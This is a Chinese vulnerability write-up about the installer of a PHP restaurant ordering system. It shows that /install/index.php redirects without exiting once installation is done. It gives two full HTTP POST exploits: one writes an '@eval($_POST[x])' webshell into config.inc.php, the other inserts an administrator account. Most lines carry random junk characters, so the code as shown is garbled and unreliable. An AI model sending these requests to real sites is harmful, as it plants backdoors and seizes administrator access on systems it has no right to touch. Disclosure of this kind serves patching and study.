问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
6 @# I& W8 {# F. o7 ~5 c1 s) G9 a6 B5 m* C v
<?php7 h# N0 N, l; G e3 _" [* Y; E
if(file_exists("../install.lock"))
4 x. { j$ |; O# |4 r+ J; `) }{: c& R. ^5 ^8 b0 y! X
header("Location: ../");//没有退出
# B! Y1 N7 m9 Q; P8 o}" ?' y6 b# Y4 O* O* ]
/ o/ z/ P: D" Y' O6 o: b N//echo 'tst';exit;* l2 b. n2 @$ a5 C3 t
require_once("init.php");
! s. q0 W2 L" Lif(empty($_REQUEST['step']) || $_REQUEST['step']==1)* X/ P3 e$ \1 r- x+ Q
{( \/ l x5 S9 s! ~6 v2 S6 {
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
# [5 L, j0 Z" J! r ^% r0 H8 i9 y' x5 S+ A' x
1、getshell(很危险)
7 _2 P; o0 u) r8 pif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
! m- r& V a7 d4 j, O' b{
8 }7 Q8 G2 d) P$smarty->assign("step",1);
$ z. X2 s6 w2 p0 @3 z) [9 S; N$smarty->display("index.html");1 C& W" q7 [3 ]3 s: m+ |3 B" z7 `
}elseif($_REQUEST['step']==2)
2 m4 {4 z; A* Z{
8 j( x' |9 \4 o* o $mysql_host=trim($_POST['mysql_host']);
: H: a7 o S# e' A- H' \1 ^) p" w $mysql_user=trim($_POST['mysql_user']);
! U9 A! E" W& b* M- v/ l( @, x $mysql_pwd=trim($_POST['mysql_pwd']);
' f0 m* m' m. p- _3 }6 ^( l$ }3 D $mysql_db=trim($_POST['mysql_db']);: Q) ]0 f+ W' R. @+ r3 j2 _
$tblpre=trim($_POST['tblpre']);1 ^3 t( z4 ~/ Y& J; e
$domain==trim($_POST['domain']);8 [6 o1 q$ L8 [9 E8 D
$str="<?php \r\n";
$ ^& p) y% Z' u+ F9 l& q7 c' @4 _3 Q $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";6 w0 L( I, W; g' W1 D
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";3 c/ j0 E0 E+ z
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";, e7 m, ^6 a2 J2 {* e( \; w
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
8 x s$ R) \! Z# ^ $str.='define("MYSQL_CHARSET","GBK");'."\r\n";! c! K' Y$ T/ [* J' `* G
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";: Y& u+ T& Q8 ]. V: T. V& N
$str.='define("DOMAIN","'.$domain.'");'."\r\n";0 b- F! D1 l8 K/ x: H
$str.='define("SKINS","default");'."\r\n";- T% Y% m; U0 |" c8 b
$str.='?>';+ F3 n6 {$ S2 p7 N4 {6 b
file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
& c$ e' z% ~: j' \7 U9 \) B% t上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马( b& \% c E* T
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
$ A4 Z3 P! Y `. b2 c* f% sHost: 192.168.80.1291 I1 I8 p+ p, {0 m: U( j; r+ J
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0( a5 W4 {2 M. v5 T/ Q# x
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8. E* l8 m7 J# }, A, H
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3$ z. X+ N. I- |8 ?) \
Accept-Encoding: gzip, deflate
" F7 Z/ h8 S6 k2 GReferer: http://192.168.80.129/canting/install/index.php?step=1
S8 ^2 Z& ?3 ^: n" gCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
! i, @& _' i* J/ S. EContent-Type: application/x-www-form-urlencoded
! p) J5 f9 @% f/ m$ F% `" E# fContent-Length: 126' x! I# q! g, p" D' [
7 p- S5 x- |! d9 ~- s) v! Omysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD+ X+ Z6 ?, O1 F5 L, B
但是这个方法很危险,将导致网站无法运行。, P+ {1 c4 `9 C& e" o' n1 t$ I5 J' O
0 e3 C0 r3 C6 k8 M" X8 f, E: S2、直接添加管理员
! p2 ?4 }* f7 S9 Z+ r* {& Z0 c0 e/ g# s5 g
elseif($_REQUEST['step']==5) G2 E2 ^% Y/ E3 E9 o) U w
{
/ {% L p' a$ `' Y8 ]3 f if($_POST)* W& `* ?: o6 N, x, e
{ require_once("../config/config.inc.php");3 [0 K! K$ \# n5 _: a; Q
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
! D& p6 K2 P# w; U9 }- w% t mysql_select_db(MYSQL_DB,$link);
4 D# q9 e' G' B0 s/ P& d mysql_query("SET NAMES ".MYSQL_CHARSET );" D9 v P" r4 G3 Z6 ]2 M4 ~
mysql_query("SET sql_mode=''");
: n. \3 h9 I& L% @0 ?5 l" V
" N. Z U3 K- ^1 o $adminname=trim($_POST['adminname']);+ I/ `! a8 C9 \4 \6 Q
$pwd1=trim($_POST['pwd1']);
7 }! [3 z5 x _! l$ e $pwd2=trim($_POST['pwd2']);# Y* r- N* `9 D/ f. B2 ~0 s
if(empty($adminname))
7 i2 [: S' y9 w! X {
4 T) t v0 c1 z& [" E
8 L3 U7 A) j$ B echo "<script>alert('管理员不能为空');history.go(-1);</script>";0 Q3 P4 ?5 b+ C
exit();; d0 ]( R3 T% Y( p! R0 F: U
}
' n( e* i% g8 L# e if(($pwd1!=$pwd2) or empty($pwd1))* f% @* U0 P7 v: Q0 A
{6 V" D" g/ q) Z* v# \4 p
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
. W- k. {- c2 X& m/ O2 ^9 y9 r }
5 `; q1 v) m" K I' ^- R! p mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员3 X0 _* ]6 Q: s
}1 A& u% i" L) Y: T+ ~/ k
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:4 Y5 [2 Y( s3 W; d* n
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
5 O! C# |7 F7 Y3 B) G' n; i. BHost: 192.168.80.1292 q4 I, D" S4 i
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.01 ^# F, {% C/ Y4 f; F
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8! O; Z& k* j) ?* P
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.32 R5 C# |$ K/ X& H
Accept-Encoding: gzip, deflate1 U2 |4 S. i4 \
Referer: http://www.2cto.com /canting/install/index.php?step=1: [+ C( G" M2 G3 }( D+ I& d
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
) B) {5 i( U$ S# jContent-Type: application/x-www-form-urlencoded
( N# |0 e) R2 j/ c" u! z6 r+ mContent-Length: 46
; K- O! J! l+ [5 O + L. g" J. J/ M0 W- n) X
adminname=qingshen&pwd1=qingshen&pwd2=qingshen+ s" P4 J! o0 @& n0 w2 Q
|